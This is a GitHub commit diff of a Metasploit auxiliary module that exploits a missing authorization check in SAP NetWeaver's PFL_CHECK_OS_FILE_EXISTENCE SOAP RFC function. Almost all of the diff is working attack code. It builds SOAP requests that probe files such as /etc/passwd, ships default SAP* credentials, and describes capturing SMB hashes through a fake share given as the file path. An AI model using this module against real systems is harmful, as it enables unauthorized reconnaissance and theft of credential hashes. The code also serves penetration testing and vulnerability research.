Skip to content

Commit 6e68f3c

Browse files
author
jvazquez-r7
committed
Clean up sap_soap_rfc_pfl_check_os_file_existence
1 parent 244bf71 commit 6e68f3c

File tree

1 file changed

+50
-33
lines changed

1 file changed

+50
-33
lines changed

modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb

Lines changed: 50 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -31,24 +31,32 @@ class Metasploit4 < Msf::Auxiliary
3131

3232
def initialize
3333
super(
34-
'Name' => 'PFL_CHECK_OS_FILE_EXISTENCE (file existence and SMB relay)',
34+
'Name' => 'SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check',
3535
'Description' => %q{
36-
This module exploits the SAP NetWeaver PFL_CHECK_OS_FILE_EXISTENCE Missing Authorization Check and SMB Relay Vulnerability.
37-
It can be exploited remotely using RFC or webrfc without any additional autorisation by the user.
38-
Additionally it can be exploited via transaction SE37.
39-
SAP Note 1591146 / DSECRG-12-009.
40-
},
41-
'References' => [['URL','http://erpscan.com/advisories/dsecrg-12-009-sap-netweaver-pfl_check_os_file_existence-missing-authorisation-check-and-smb-relay-vulnerability/']],
42-
'Author' => ['nmonkee'],
36+
This module abuses the SAP NetWeaver PFL_CHECK_OS_FILE_EXISTENCE function, on
37+
the SAP SOAP RFC Service, to check for files existence on the remote file system.
38+
The module can also be used to capture SMB hashes by using a fake SMB share as
39+
FILEPATH.
40+
},
41+
'References' =>
42+
[
43+
[ 'OSVDB', '78537' ],
44+
[ 'URL','http://erpscan.com/advisories/dsecrg-12-009-sap-netweaver-pfl_check_os_file_existence-missing-authorisation-check-and-smb-relay-vulnerability/' ]
45+
],
46+
'Author' =>
47+
[
48+
'lexey Tyurin', # Vulnerability discovery
49+
'nmonkee' # Metasploit module
50+
],
4351
'License' => MSF_LICENSE
44-
)
52+
)
4553

4654
register_options([
47-
OptString.new('CLIENT', [true, 'SAP client', nil]),
48-
OptString.new('USER', [true, 'Username', nil]),
49-
OptString.new('PASS', [true, 'Password', nil]),
50-
OptString.new('PATH',[true,'File path (e.g. \\\\xx.xx.xx.xx\\share)',nil])
51-
], self.class)
55+
OptString.new('CLIENT', [true, 'SAP Client', '001']),
56+
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
57+
OptString.new('PASSWORD', [true, 'Password', '06071992']),
58+
OptString.new('FILEPATH',[true,'File Path to check for (e.g. /etc)','/etc/passwd'])
59+
], self.class)
5260
end
5361

5462
def run_host(ip)
@@ -60,32 +68,41 @@ def run_host(ip)
6068
data << '<SOAP-ENV:Body>'
6169
data << '<PFL_CHECK_OS_FILE_EXISTENCE xmlns="urn:sap-com:document:sap:rfc:functions">'
6270
data << '<FULLY_QUALIFIED_FILENAME></FULLY_QUALIFIED_FILENAME>'
63-
data << '<LONG_FILENAME>' + datastore['PATH'] + '</LONG_FILENAME>'
71+
data << '<LONG_FILENAME>' + datastore['FILEPATH'] + '</LONG_FILENAME>'
6472
data << '</PFL_CHECK_OS_FILE_EXISTENCE>'
6573
data << '</SOAP-ENV:Body>'
6674
data << '</SOAP-ENV:Envelope>'
67-
user_pass = Rex::Text.encode_base64(datastore['USER'] + ":" + datastore['PASS'])
6875
begin
69-
print_status("[SAP] #{ip}:#{rport} - sending request for #{datastore['PATH']}")
70-
res = send_request_raw({
71-
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
76+
vprint_status("#{rhost}:#{rport} - Sending request to check #{datastore['FILEPATH']}")
77+
res = send_request_cgi({
78+
'uri' => '/sap/bc/soap/rfc',
7279
'method' => 'POST',
7380
'data' => data,
74-
'headers' =>{
75-
'Content-Length' => data.size.to_s,
81+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
82+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
83+
'ctype' => 'text/xml; charset=UTF-8',
84+
'headers' => {
7685
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
77-
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
78-
'Authorization' => 'Basic ' + user_pass,
79-
'Content-Type' => 'text/xml; charset=UTF-8',}
80-
}, 45)
81-
if res
82-
vprint_error("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s)
83-
vprint_error("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s)
84-
vprint_error("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s)
85-
end
86-
rescue ::Rex::ConnectionError
87-
print_error("#{rhost}:#{rport} - Unable to connect")
88-
return
86+
},
87+
'vars_get' => {
88+
'sap-client' => datastore['CLIENT'],
89+
'sap-language' => 'EN'
90+
}
91+
})
92+
if res and res.code == 200 and res.body =~ /PFL_CHECK_OS_FILE_EXISTENCE\.Response/
93+
if res.body =~ /<FILE_EXISTS>X<\/FILE_EXISTS>/
94+
print_good("#{rhost}:#{rport} - File #{datastore['FILEPATH']} exists")
95+
else
96+
print_warning("#{rhost}:#{rport} - File #{datastore['FILEPATH']} DOESN'T exist")
97+
end
98+
elsif res
99+
vprint_error("#{rhost}:#{rport} - Response code: " + res.code.to_s)
100+
vprint_error("#{rhost}:#{rport} - Response message: " + res.message.to_s)
101+
vprint_error("#{rhost}:#{rport} - Response body: " + res.body.to_s) if res.body
89102
end
103+
rescue ::Rex::ConnectionError
104+
vprint_error("#{rhost}:#{rport} - Unable to connect")
105+
return
90106
end
91107
end
108+
end

0 commit comments

Comments
 (0)